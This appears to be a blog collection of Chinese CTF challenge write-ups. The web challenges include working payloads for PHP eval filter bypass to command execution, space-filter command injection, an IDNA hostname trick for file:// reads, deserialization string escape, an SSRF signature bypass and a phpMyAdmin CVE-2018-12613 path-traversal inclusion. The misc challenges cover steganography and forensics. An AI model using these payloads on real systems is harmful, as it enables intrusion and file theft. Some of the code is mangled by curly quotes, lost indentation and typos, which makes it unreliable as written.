CISCN 2019 初赛Love Math

过滤了一些字符也给了一些白名单
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET[‘c’])){
show_source(__ FILE__);
}else{
//例子 c=20-1
$content = $_GET[‘c’];
if (strlen($content) >= 80) {
die(“太长了不会算”);
}
$blacklist = [‘ ‘, ‘\t’, ‘\r’, ‘\n’,’'‘, ‘“‘, ‘`’, ‘[‘, ‘]‘];
foreach ($blacklist as $blackitem) {
if (preg_match(‘/‘ . $blackitem . ‘/m’, $content)) {
die(“请不要输入奇奇怪怪的字符”);
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = [‘abs’, ‘acos’, ‘acosh’, ‘asin’, ‘asinh’, ‘atan2’, ‘atan’, ‘atanh’, ‘base_convert’, ‘bindec’, ‘ceil’, ‘cos’, ‘cosh’, ‘decbin’, ‘dechex’, ‘decoct’, ‘deg2rad’, ‘exp’, ‘expm1’, ‘floor’, ‘fmod’, ‘getrandmax’, ‘hexdec’, ‘hypot’, ‘is_finite’, ‘is_infinite’, ‘is_nan’, ‘lcg_value’, ‘log10’, ‘log1p’, ‘log’, ‘max’, ‘min’, ‘mt_getrandmax’, ‘mt_rand’, ‘mt_srand’, ‘octdec’, ‘pi’, ‘pow’, ‘rad2deg’, ‘rand’, ‘round’, ‘sin’, ‘sinh’, ‘sqrt’, ‘srand’, ‘tan’, ‘tanh’];
preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die(“请不要输入奇奇怪怪的函数”);
}
}
//帮你算出答案
eval(‘echo ‘.$content.’;’);
}
白名单里面有一些可以使用base_convert()函数再任意进制见转换数字
base_convert(a,b,c) a:必需,原始值 b:必须,数字原来的进制;c: 必须,要转换的进制。
hex2bin() 函数 将ascii码转成十六进制 dechex() 将十进制转换成十六进制
目标payload: ?c=system9”cat/flag”) ;没有引号也可执行命令

采用变量保存函数和参数

?c=($_GET[a])($_GET[b])&a=system&b=cat/flag
用whitelist内的函数替代
?c=($_GET[pi])($_GET[cos])&pi=system&cos=cat/flag
但是呢_GET不是白名单内的变量 [] 也被过滤了
[] 可以用{}替代
_GET 就得用hex2bin() 来转换

15.PNG

_GET -> hex2bin(5f 47 45 54)
hex2bin这个也得转 发现hex2bin的36进制一摸一样 那就把36转10
hex2bin->base_convert(37907361743,10,36)

15.PNG

然后5f474554 还得转进制不然也会被过滤 1598506324

5f474554->dechex(1598506324)
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))
_GET得存进一个变量里面
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
最终payload: c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

17.PNG

WUSTCTF2020朴实无华

扫后台扫到robots.txt
访问得到源码
<?php
header(‘Content-type:text/html;charset=utf-8’);
error_reporting(0);
highlight_file(__ file__);

//level 1
if (isset($_GET[‘num’])){
$num = $_GET[‘num’];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo “我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
“;
}else{
die(“金钱解决不了穷人的本质问题”);
}
}else{
die(“去非洲吧”);
}
//level 2
if (isset($_GET[‘md5’])){
$md5=$_GET[‘md5’];
if ($md5==md5($md5))
echo “想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
“;
else
die(“我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲”);
}else{
die(“去非洲吧”);
}

//get flag
if (isset($_GET[‘get_flag’])){
$get_flag = $_GET[‘get_flag’];
if(!strstr($get_flag,” “)){
$get_flag = str_ireplace(“cat”, “wctf2020”, $get_flag);
echo “想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
“;
system($get_flag);
}else{
die(“快到非洲了”);
}
}else{
die(“去非洲吧”);
}
?>

拿flag要过两关:

if (isset($_GET[‘num’])){
$num = $_GET[‘num’];
if(intval($num) < 2020 && intval($num + 1) > 2021){
假设num=1e8
intval函数 intval($num) 会被截断成1 但是intval($num+1)会变成100000001 就能绕过这个2020 2021了

if (isset($_GET[‘md5’])){
$md5=$_GET[‘md5’];
if ($md5==md5($md5))
找到一串MD5加密前后一样的 祭出脚本大法
import hashlib

for i in range(0,10**41):
i=’0e’+str(i)
md5=hashlib.md5(i.encode()).hexdigest()
if md5[:2]==’0e’ and md5[2:].isdigit():
print(‘md5:{} ‘.format(i))
break

得到:md5:0e215962017

?num=1e8&md5=0e215962017

if (isset($_GET[‘get_flag’])){
$get_flag = $_GET[‘get_flag’];
if(!strstr($get_flag,” “)){
$get_flag = str_ireplace(“cat”, “wctf2020”, $get_flag);
这边过滤了空格和cat会被替换成wctf2020
先看一下flag在哪num=1e7&md5=0e215962017&get_flag=ls

18.PNG

用%09绕过空格 然后cat用反斜杠绕过 ca\t
最终payload :?num=1e7&md5=0e215962017&get_flag=ca\t%09那一大长串

19.PNG

SUCTF 2019 Pythonginx

这关主要是url中的unicode漏洞引发的域名安全问题
1、域名欺骗 :
访问此网站http://Вaidu.com(其中的В是unicode U+0412)
会跳转到http://xn--aidu-f4d.com/
也可以换成其他的unicode
访问http://Вaidu.com 时浏览器会将访问的url交给域名系统(DNS)解析url为ip地址
解析url过程用到递归查询和迭代查询 先递归搜索浏览器自己的dns缓存然后搜索操作系统的dns缓存 再搜索hosts文件缓存
搜索本地域名服务器 但后迭代搜索根域名服务器知道找到ip地址 找不到就是404
在DNS中idna使用punycode转写将ascii字符串存储,本地DNS中因为遇见特殊字符В 因此无法将其转成正常ascii
就直接在本地转化为http://xn--aidu-f4d.com/

22.PNG

还有要知道ngix重要文件的位置
nginx重要文件的位置:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

源码这边
@app.route(‘/getUrl’, methods=[‘GET’, ‘POST’])
def getUrl():
url = request.args.get(“url”)
host = parse.urlparse(url).hostname
if host == ‘suctf.cc’:
return “我扌 your problem? 111”
parts = list(urlsplit(url))
host = parts[1]
if host == ‘suctf.cc’:
return “我扌 your problem? 222 “ + host
newhost = []
for h in host.split(‘.’):
newhost.append(h.encode(‘idna’).decode(‘utf-8’))
parts[1] = ‘.’.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(‘ ‘)[0]
host = parse.urlparse(finalUrl).hostname
if host == ‘suctf.cc’:
return urllib.request.urlopen(finalUrl).read()
else:
return “我扌 your problem? 333”


是要对host的判断然后绕过这两个判断 如果一开始就是suctf.cc压根就没办法

需要访问suctf.cc/user/local/nginx/conf/nginx.conf 访问这个配置文件应该能找到flag 位置
跑脚本

#coding:utf-8

for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode(‘idna’).decode(‘utf-8’)
if(“-“) in res:
continue
print(“U:{} A:{} ascii:{} “.format(tmp, res, i))
except:
pass

找到℆这么一个字符恰好会因为这个漏洞被解析成c/u 这样就能绕过

构造file://suctf.c℆sr/local/nginx/conf/nginx.conf 也可以用ℂ 来替代c

23.PNG

最终payload:

file://suctf.c℆sr/fffffflag

24.PNG

0CTF 2016piapiapia

一来就试了一下sql注入 无
然后找到一个register.php 的页面 那边有个上传 也无上传漏洞
dirsearch 添加延时参数 找到www.zip 下载下来得到源码
拿到源码 class.php config.php index.php profile.php register.php update.php
config.php 那边有flag 从那边应该可以拿到flag
update.php 这边正则匹配了 过滤提交的数据 但是判断nickname那边有长度限制可以用nickname的数组来绕过长度限制就不会die

png29 这边用到了serialize() 可以试一下反序列化

29.PNG

前面
有个update_profile 到class.php 看一下update_profile 的定义方法

1
2
3
4
5
6
7
8
9
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}


再往下有个filter()

1
2
3
4
5
6
7
8
9
10
11
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}


update()

1
2
3
4
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

update.php 就先正则表达式将提交的参数值过滤 再序列化将非法字符替换成hacker
这反序列化还有文件读取

flag在config中 这边有序列化 过滤替换 反序列化 文件读取
就是反序列化字符逃逸 构造包含config.php的数据利用字符串逃逸 再在profile.php中读取得到
反序列化是以”;}结束的 把这个往前放置 就可以将反序列化提前结束的内容就丢弃了
突破口:
反序列化字符逃逸,首先序列化的字符是可控的 前面的长度是可控的 但是update.php将参数序列化,可控变量的长度就被写死了
要控制得通过序列化后数据过滤替代那边

1
2
3
4
5
6
7
8
9
10
11
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}


select insert update delete where替换成hacker 写入where替换成hacker 字符串长度+1 因此实际的长的都大于序列化固定长度
i:0;s:3:”123”; -> 就是类似于s:后面这个值 反序列化字符串的逃逸,反序列化只能将nickname的s长度反序列化成功其他的长度已经被写死了, 剩下的字符串 构造class.php因为里面包含了flag 并将其位置放到photo上然后将photo扔掉
这样profile.php 中读取的photo就是我么构造的config.php 就能拿到flag了
假设:

构造这样一个 defg会被丢弃qwert占了原本的位置
目的是将”;}s:5:photo;s:10:”config.php”;} 这串总共34位 插入到序列化的字符串中
hacker比where多一个字符那就得需要挤出34位 也就是34个where 上传后再去profile查看内容

30.PNG

payload :wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:photo;s:10:”config.php”;}

profile.php 那边查看源码 base64解码一下就可以了

31.PNG

32.PNG

misc

ACTF新生赛2020 outguess

解压发现一大堆的文件但是大部分都没什么意义
flag.txt 打开后发现
flag在哪?
你Guess一下啊!这么一段话
猜测应该是图片隐写 要用到outguess
mmm.jpg的属性那边备注这么段信息

13.PNG

有个叫什么社会主义核心价值观的加密
解码一下得到abc三个字母
那就没错了
就拿到flag了ACTF{gue33_Gu3Ss!2020}

SWPU2019我有一只马里奥

下载下来得到一个文件运行生成一个1.txt 打开提示如下
ntfs
flag.txt
应该是ntfs隐写
用ntfsstreamediter导出即可

谁赢了比赛?

丢010 发现还有压缩包
文件分离 得压缩包 暴力破解是个四位数密码
拿到一张gif 逐帧分析第310帧有不一样的

25.PNG

用stegsolve red plane 0

那边得到一张二维码 扫一下就可以了

26.PNG

**HBNIS2018excel破解 **
直接丢010 然后查找一下找到flag is here 就找到flag了 这么简单?

ACTF新生赛2020 base64隐写

base64隐写的原理:

从Base64编码的原理我们很自然推出Base64解码的过程:

丢掉末尾的所有‘=’;
每个字符查表转换为对应的6位索引,得到一串二进制字符串;
从头开始,每次取8位转换为对应的ASCII字符,如果不足8位则丢弃。
在解码的第3步中,会有部分数据被丢弃(即不会影响解码结果),这些数据正是我们在编码过程中补的0(本文第三第四张图中加粗的部分)。也就是说,如果我们在编码过程中不全用0填充,而是用其他的数据填充,仍然可以正常编码解码,因此这些位置可以用于隐写。

解开隐写的方法就是将这些不影响解码结果的位提取出来组成二进制串,然后转换成ASCII字符串。
依次读取每行,从中提取出隐写位。
如果最后没有‘=’,说明没有隐写位,跳过。
如果最后是一个‘=’,说明有两位隐写位,将倒数第二个字符转化为对应的二进制索引,然后取后两位。
如果最后是两个‘=’,说明有四位隐写位,将倒数第三个字符转化为对应的二进制索引,然后取后四位。
将每行提取出的隐写位依次连接起来,每8位为一组转换为ASCII字符,最后不足8位的丢弃。

贴一下解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def inttobin(a, n):
ret = bin(a)[2:]
while len(ret) < n:
ret = '0' + ret
return ret

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

f = open("ComeOn!.txt", "r")
tmpbin = ''
res = ''
line = f.readline()
while line:
if line[-2] == '=':
if line[-3] == '=':
tmpbin += inttobin(table.index(line[-4]), 6)[2:]
else:
tmpbin += inttobin(table.index(line[-3]), 6)[4:]
line = f.readline()
quotient = len(tmpbin)/8
for i in range(quotient):
res += chr(int(tmpbin[8*i:8*i+8], 2))
print res

附一下base64编码解码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def inttobin(a, n):
res = bin(a)[2:]
while len(res) < n:
res = '0' + res
return res

def b64encode(strin):
res = ''
quotient = len(strin)/3
remainder = len(strin)%3
for i in range(quotient):
tmp = strin[i*3:i*3+3]
tmpbin = inttobin(ord(tmp[0]), 8) + inttobin(ord(tmp[1]), 8) + inttobin(ord(tmp[2]), 8)
print tmpbin
for j in range(4):
index = int(tmpbin[6*j:6*j+6], 2)
res += table[index]
if remainder == 1:
tmpbin = inttobin(ord(strin[-1]), 8) + '0000'
res += table[int(tmpbin[:6], 2)]
res += table[int(tmpbin[6:], 2)]
res += '=='
elif remainder == 2:
tmpbin = inttobin(ord(strin[-2]), 8) + inttobin(ord(strin[-1]), 8) + '00'
res += table[int(tmpbin[:6], 2)]
res += table[int(tmpbin[6:12], 2)]
res += table[int(tmpbin[12:], 2)]
res += '='
return res

def b64decode(strin):
res = ''
while strin[-1] == '=':
strin = strin[:-1]
tmpbin = ''
for i in range(len(strin)):
tmpbin += inttobin(table.index(strin[i]), 6)
remainder = len(tmpbin) / 8
for i in range(remainder):
res += chr(int(tmpbin[i*8:i*8+8], 2))
return res

sqltest
wireshark打开然后导出为http对象列表
png28
发现这在进行盲注bool注入的语句
推断出正确的ascii值,在对一个字符进行bool判断时,被重复判断的ASCII值就是正确的字符

28.PNG

最后提取到:
102 108 97 103 123 52 55 101 100 98 56 51 48 48 101 100 53 102 57 98 50 56 102 99 53 52 98 48 100 48 57 101 99 100 101 102 55 125
转为字符串得flag
flag{47edb8300ed5f9b28fc54b0d09ecdef7}

GXYCTF2019 gakki

老样子丢010 发现还有个压缩包 文件分离 暴力破解
然后拿到一个文本文档

#2V0VI_05X$GygD3g@gYurMGim#1=)D_@Z(JcRevlyGq&N-dgPH8XXSGL{@9}zVmlmxv1vEwbqr)ea!YMI2lznoV_bMrXLbwFrgaiQYfsVN14weObXp)(ybmXjXuTkFuj1pG54!mij1){41gKmFL&Zgeho01PPEwE=rcsndRof$X7JBJ=CaNRGMjLY_-GiqlDHWaVk-XZ8lD5!kLb(OH%8u2LtQXX3QV{1Lh)LyGF#kpV$}GXRKla)u(pw(&ggmYU82HLWhJgngOjhwofkqqC{Hi)g!GXrY6=UQGvaeOIrVgjkGjgGRTY78Ol$w0&tzZ1t}z#c^t8GrskRcz9YKE)4B(U
一堆的乱七八糟的
字频统计 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-* -coding:utf-8 -* -

#Author: mochu7
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = open('./flag.txt').read()

result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts

res = sorted(result.items(),key=lambda item:item[1],reverse=True)
for data in res:
print(data)

for i in res:
flag = str(i[0])
print(flag[0],end="")

27.PNG

跑完拿到flag
有一说一gakki是真的好看

BJDCTF2020一叶障目

打开就是一个图片什么都没 stegsolve分析也分析不出什么东西 010也看不出什么 百度吧
这是png的CRC校验问题,图片的宽高被改了导致无法完全显示

如何判断这什么crc校验问题?
首先010打开1.png
前八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头,该段格式是固定的
PNG_CHUNK chunk[0] 这段可分为几块:
前四个字节00 00 00 0D 代表数据块长度为13 数据块包含了png的宽高等信息 格式是固定的
之后四个字节49 48 44 52 (即ASCII码的IHDR) 是文件头数据块的表示 这段也是固定格式的
之后进入十三位数据块 前八个字节 00 00 01 41 00 00 01 4C
这边前四个字节:00 00 01 41 代表图片的宽 后四个字节 00 00 01 4C代表高
这八个字节都属于十三位数据块的内容 因此数据块应再向后5个字节 即 00 00 01 41 00 00 01 4C 08 06 00 00 00 剩余四位C2 0F 1F C6 为该png的crc校验码也就是解题的关键
该段数据有IDCh以及十三位的数据块 即 49 48 44 52 00 00 01 41 00 00 01 4C 08 06 00 00 00 计算所得
大部分png中CRC检验错误的出题思路:

对一张正常的图片,通过修改其宽度或者高度隐藏信息,使计算出的CRC校验码与原图的CRC校验码不一致;windows的图片查看器会忽略错误的CRC校验码,因此会显示图片,但此时的图片已经是修改过的,所以会有显示不全或扭曲等情况,借此可以隐藏信息。而Linux下的图片查看器不会忽略错误的CRC校验码,因此用Linux打开修改过宽或高的png图片时,会出现打不开的情况
所以判断一张图是否为crc校验出错 就丢windows 和 linux 里头看看
可以通过爆破图片修改前的宽和高来匹配CRC校验码,并用正确的宽和高来修复图片
首先先爆破高度 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#_ *_ coding:utf-8 _ *_ 

import binascii
import struct

#\x49 x48 x44 x52 x00 x00 x01 x41 x00 x00 x01 x4C x08 x06 x00 x00 x00
crc32key=0xc20f1fc6
for i in range(0,65535):
height = struct.pack('>i',i)
#CRC:c20f1fc6
data= '\x49\x48\x44\x52\x00\x00\x01\x41' + height + '\x08\x06\x00\x00\x00'
crc32result= binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print ' '.join(map(lambda c: "%02X" % ord(c),height))

这题就这样爆破出来了 高度被修改了 实则 00 00 03 4C
判断是否为crc校验码错误的方法:

windows下图片可以打开,其他系统下图片不能打开
使用010editor的template检测,这也是我16进制编辑器力推010editor的原因之一
使用诸如tweakpng,pngcheck等工具
修复png的crc检验码方法:

本文中所列的爆破出正确的宽或高,并用16进制编辑器修复
利用windows忽略crc检验码的特性,我们可以用tweakpng任意修改图片的宽和高,直至得到有用的信息,事实上,这是最快的方法

强网杯ISO1995

提示时间属性出问题
年月日时分秒以此下来发现

9.png

除了月的不一样其余均相同 然后将月的对应的数据提取出来 也就是将ffff后面两位的内容提取出来

第一个是0000也就是十进制的0填充好前四位0000也就是编号为0000的文件对应的文件列表为flag_f00000文件
7.PNG

import binascii
isofilename= ‘iso1995.iso’
fp_iso_file = open(isofilename, ‘rb’)
fp_iso_file.read(90198)
list=[]
num=0
while 1:
if (fp_iso_file.read(4) == b’\xff\xff\xff\xff’):
x = str(binascii.b2a_hex(fp_iso_file.read(2)[::1]))
y = ‘0x’+x[2:6]
list.append(int((y),16))
fp_iso_file.read(54)
if (fp_iso_file.tell() - 0x1700A ) % 0x800 ==0:
fp_iso_file.read(8)
else:
break
fp_extract_data = open(‘outdata’, ‘wb’)
for num in list:
fp_f0_file = open(‘flag_f0’+’%04d’ % num, ‘rb’)
flag0_data = fp_f0_file.read()
fp_extract_data.write(flag0_data)
fp_f0_file.close()
fp_extract_data.close()

运行完成生成outdata 打开找到flag

8.PNG

BUUCTF WEB De1CTF 2019 SSRF Me

题目直接给了题目源码: 就是看着有点难受

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding(‘latin1’)

app = Flask(name)

secert_key = os.urandom(16)

class Task:
def init(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):                                              
    result = {}
    result['code'] = 500
    if (self.checkSign()):                                               //Exec 这边还有个checkSign的方法 
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):                        //getSign()方法,结果与sign进行比较
        return True
    else:
        return False

#generate Sign For Action Scan.
@app.route(“/geneSign”, methods=[‘GET’, ‘POST’])
def geneSign():
param = urllib.unquote(request.args.get(“param”, “”))
action = “scan”
return getSign(action, param)

@app.route(‘/De1ta’,methods=[‘GET’,’POST’]) //De1ta应该是关键的页面获取了三个参数,其中两个是从cookie中获取的:
def challenge():
action = urllib.unquote(request.cookies.get(“action”)) //第一个参数action是传入read和scan的,
第二个参数看着应该是传入一个文件名, 第三个参数sign是一个md5值,
param = urllib.unquote(request.args.get(“param”, “”))
sign = urllib.unquote(request.cookies.get(“sign”)) //cookie
ip = request.remote_addr
if(waf(param)):
return “No Hacker!!!!”
task = Task(action, param, sign, ip) // 这边的action param sign参数传递到Task
return json.dumps(task.Exec()) //并且调用了 Task类中的Exec()
@app.route(‘/‘)
def index():
return open(“code.txt”,”r”).read() //这边index 把源码给打开了

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return “Connection Timeout”

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() //这边需要一个secert_key

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith(“gopher”) or check.startswith(“file”):
return True
else:
return False

if name == ‘main‘:
app.debug = False
app.run(host=’0.0.0.0’)
python的flask框架,三个路由

最终目的就是读取flag.txt
所以我们需要构造参数!第一个参数action应该包含read,,第二个param参数应该是文件名
最关键就是第三个参数,由于我们不知道secert_key的值,所以不能自己加密
burp 访问一下geneSign这个页面 参数param=flag.txt得到一串MD5值b7e7fa9d237b24617caedc3fa85fe2af 这个就是md5(secert_key+flag.txtscan)的值
param 需要read 和scan的值 8a75379bb998db129cca0db40be1a07b geneSign?param=flag.txtread传入这个后得到的
也就是md5(secert_key+flag.txtreadscan)的md5值 再访问De1ta页面进行参数传递,拿到flag
De1ta?param=flag.txt
cookie: action=readscan;sign=8a75379bb998db129cca0db40be1a07b;
就能拿到flag了

NCTF2019fakeXMLcookbook

看到题目名字XML,XXE漏洞
XML
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
XML基本格式与基本语法
基本格式:


Everyday Italian Giada De Laurentiis 2005 30.00 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。 基本语法:

所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
若多个字符都需要转义,则可以将这些内容存放到CDATA里面

5.PNG

XML的设计宗旨是传输数据,而非显示数据。
XML注入前提条件
(1)用户能够控制数据的输入
(2)程序有拼凑的数据

6.PNG

GWCTF 2019我有一个数据库 1

还挺大胆直接告诉人你有一个数据库 url后/phpmyadmin 跳到php后台了
然后看这版本4.8.1 有个漏洞叫(CVE-2018-12613) 可以远程文件包含漏洞
$target_blacklist = array (
‘import.php’, ‘export.php’
);

// If we have a valid target, let’s load that script instead
if (! empty($_REQUEST[‘target’])
&& is_string($_REQUEST[‘target’])
&& ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
&& ! in_array($_REQUEST[‘target’], $target_blacklist)
&& Core::checkPageValidity($_REQUEST[‘target’])
) {
include $_REQUEST[‘target’];
exit;
}
满足5个条件后就会include$_REQUEST[‘target’]的内容

$_REQUEST[‘target’]不为空
$_REQUEST[‘target’]是字符串
$_REQUEST[‘target’]不以index开头
$_REQUEST[‘target’]不在$target_blacklist中 ‘import.php’, ‘export.php’
然后接下去的原理就看不懂了
任意文件包含
通过目录穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini 这波这个payload就可以直接用了
?target=db_datadict.php%253f/../../../../../../../../../flag /../ 这个慢慢加加到出现flag即可